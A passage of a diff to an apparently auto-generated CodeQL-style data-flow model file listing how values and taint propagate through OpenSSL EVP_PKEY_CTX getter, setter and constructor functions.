"(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_dh_kdf_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_dh_kdf_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_dh_kdf_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_ecdh_kdf_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[**1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_ecdh_kdf_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_ecdh_kdf_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_ecdh_kdf_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_ecdh_kdf_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_keygen_info", "(EVP_PKEY_CTX *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_operation", "(EVP_PKEY_CTX *)", "", "Argument[*0].Field[*operation]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_params", "(EVP_PKEY_CTX *,OSSL_PARAM *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_rsa_mgf1_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[**1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_rsa_mgf1_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_rsa_mgf1_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_rsa_mgf1_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_rsa_mgf1_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_rsa_oaep_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[**1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_rsa_oaep_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_rsa_oaep_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_rsa_oaep_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_rsa_oaep_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_rsa_padding", "(EVP_PKEY_CTX *,int *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_rsa_padding", "(EVP_PKEY_CTX *,int *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_rsa_padding", "(EVP_PKEY_CTX *,int *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_rsa_padding", "(EVP_PKEY_CTX *,int *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_rsa_pss_saltlen", "(EVP_PKEY_CTX *,int *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_rsa_pss_saltlen", "(EVP_PKEY_CTX *,int *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_rsa_pss_saltlen", "(EVP_PKEY_CTX *,int *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_rsa_pss_saltlen", "(EVP_PKEY_CTX *,int *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_signature_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[**1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_signature_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_signature_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_signature_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_get_signature_md", "(EVP_PKEY_CTX *,const EVP_MD **)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_new", "(EVP_PKEY *,ENGINE *)", "", "Argument[0]", "ReturnValue[*].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_new", "(EVP_PKEY *,ENGINE *)", "", "Argument[1]", "ReturnValue[*].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_new_from_name", "(OSSL_LIB_CTX *,const char *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_new_from_name", "(OSSL_LIB_CTX *,const char *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**keytype]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_new_from_name", "(OSSL_LIB_CTX *,const char *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[**propquery]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_new_from_name", "(OSSL_LIB_CTX *,const char *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_new_from_name", "(OSSL_LIB_CTX *,const char *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*keytype]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_new_from_name", "(OSSL_LIB_CTX *,const char *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[**propquery]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_new_from_pkey", "(OSSL_LIB_CTX *,EVP_PKEY *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_new_from_pkey", "(OSSL_LIB_CTX *,EVP_PKEY *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[**propquery]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_new_from_pkey", "(OSSL_LIB_CTX *,EVP_PKEY *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_new_from_pkey", "(OSSL_LIB_CTX *,EVP_PKEY *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_new_from_pkey", "(OSSL_LIB_CTX *,EVP_PKEY *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[**propquery]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_new_id", "(int,ENGINE *)", "", "Argument[0]", "ReturnValue[*].Field[*legacy_keytype]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_new_id", "(int,ENGINE *)", "", "Argument[1]", "ReturnValue[*].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set0_dh_kdf_oid", "(EVP_PKEY_CTX *,ASN1_OBJECT *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set0_dh_kdf_oid", "(EVP_PKEY_CTX *,ASN1_OBJECT *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set0_dh_kdf_oid", "(EVP_PKEY_CTX *,ASN1_OBJECT *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set0_dh_kdf_oid", "(EVP_PKEY_CTX *,ASN1_OBJECT *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set0_keygen_info", "(EVP_PKEY_CTX *,int *,int)", "", "Argument[*1]", "Argument[*0].Field[**keygen_info]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set0_keygen_info", "(EVP_PKEY_CTX *,int *,int)", "", "Argument[1]", "Argument[*0].Field[*keygen_info]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set0_keygen_info", "(EVP_PKEY_CTX *,int *,int)", "", "Argument[2]", "Argument[*0].Field[*keygen_info_count]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_hkdf_key", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_hkdf_key", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_hkdf_key", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_hkdf_key", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_hkdf_key", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[2]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_hkdf_salt", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_hkdf_salt", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_hkdf_salt", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_hkdf_salt", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_hkdf_salt", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[2]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_id", "(EVP_PKEY_CTX *,const void *,int)", "", "Argument[**1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_id", "(EVP_PKEY_CTX *,const void *,int)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_id", "(EVP_PKEY_CTX *,const void *,int)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_id", "(EVP_PKEY_CTX *,const void *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_id", "(EVP_PKEY_CTX *,const void *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_id", "(EVP_PKEY_CTX *,const void *,int)", "", "Argument[2]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_pbe_pass", "(EVP_PKEY_CTX *,const char *,int)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_pbe_pass", "(EVP_PKEY_CTX *,const char *,int)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_pbe_pass", "(EVP_PKEY_CTX *,const char *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_pbe_pass", "(EVP_PKEY_CTX *,const char *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_pbe_pass", "(EVP_PKEY_CTX *,const char *,int)", "", "Argument[2]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_rsa_keygen_pubexp", "(EVP_PKEY_CTX *,BIGNUM *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_rsa_keygen_pubexp", "(EVP_PKEY_CTX *,BIGNUM *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_scrypt_salt", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_scrypt_salt", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_scrypt_salt", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_scrypt_salt", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_scrypt_salt", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[2]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_tls1_prf_secret", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_tls1_prf_secret", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_tls1_prf_secret", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_tls1_prf_secret", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_tls1_prf_secret", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[2]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_app_data", "(EVP_PKEY_CTX *,void *)", "", "Argument[**1]", "Argument[*0].Field[***app_data]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_app_data", "(EVP_PKEY_CTX *,void *)", "", "Argument[*1]", "Argument[*0].Field[**app_data]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_app_data", "(EVP_PKEY_CTX *,void *)", "", "Argument[1]", "Argument[*0].Field[*app_data]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_cb", "(EVP_PKEY_CTX *,EVP_PKEY_gen_cb *)", "", "Argument[1]", "Argument[*0].Field[*pkey_gencb]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_data", "(EVP_PKEY_CTX *,void *)", "", "Argument[**1]", "Argument[*0].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_data", "(EVP_PKEY_CTX *,void *)", "", "Argument[*1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_data", "(EVP_PKEY_CTX *,void *)", "", "Argument[1]", "Argument[*0].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_dh_kdf_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_dh_kdf_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_dh_kdf_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_dh_kdf_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_dh_kdf_type", "(EVP_PKEY_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_dh_nid", "(EVP_PKEY_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_dh_paramgen_type", "(EVP_PKEY_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_dh_rfc5114", "(EVP_PKEY_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_dhx_rfc5114", "(EVP_PKEY_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_dsa_paramgen_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_dsa_paramgen_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_dsa_paramgen_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_dsa_paramgen_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_ec_param_enc", "(EVP_PKEY_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_ec_paramgen_curve_nid", "(EVP_PKEY_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_ecdh_kdf_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_ecdh_kdf_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_ecdh_kdf_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_ecdh_kdf_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_ecdh_kdf_type", "(EVP_PKEY_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_hkdf_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_hkdf_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_hkdf_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_hkdf_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_hkdf_mode", "(EVP_PKEY_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_mac_key", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_mac_key", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_mac_key", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_mac_key", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_mac_key", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[2]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_params", "(EVP_PKEY_CTX *,const OSSL_PARAM *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_rsa_keygen_pubexp", "(EVP_PKEY_CTX *,BIGNUM *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_rsa_keygen_pubexp", "(EVP_PKEY_CTX *,BIGNUM *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_rsa_keygen_pubexp", "(EVP_PKEY_CTX *,BIGNUM *)", "", "Argument[1]", "Argument[*0].Field[*rsa_pubexp]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_rsa_mgf1_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_rsa_mgf1_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_rsa_mgf1_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_rsa_mgf1_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_rsa_oaep_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_rsa_oaep_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_rsa_oaep_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_rsa_oaep_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_rsa_padding", "(EVP_PKEY_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_rsa_pss_keygen_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_rsa_pss_keygen_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_rsa_pss_keygen_md", 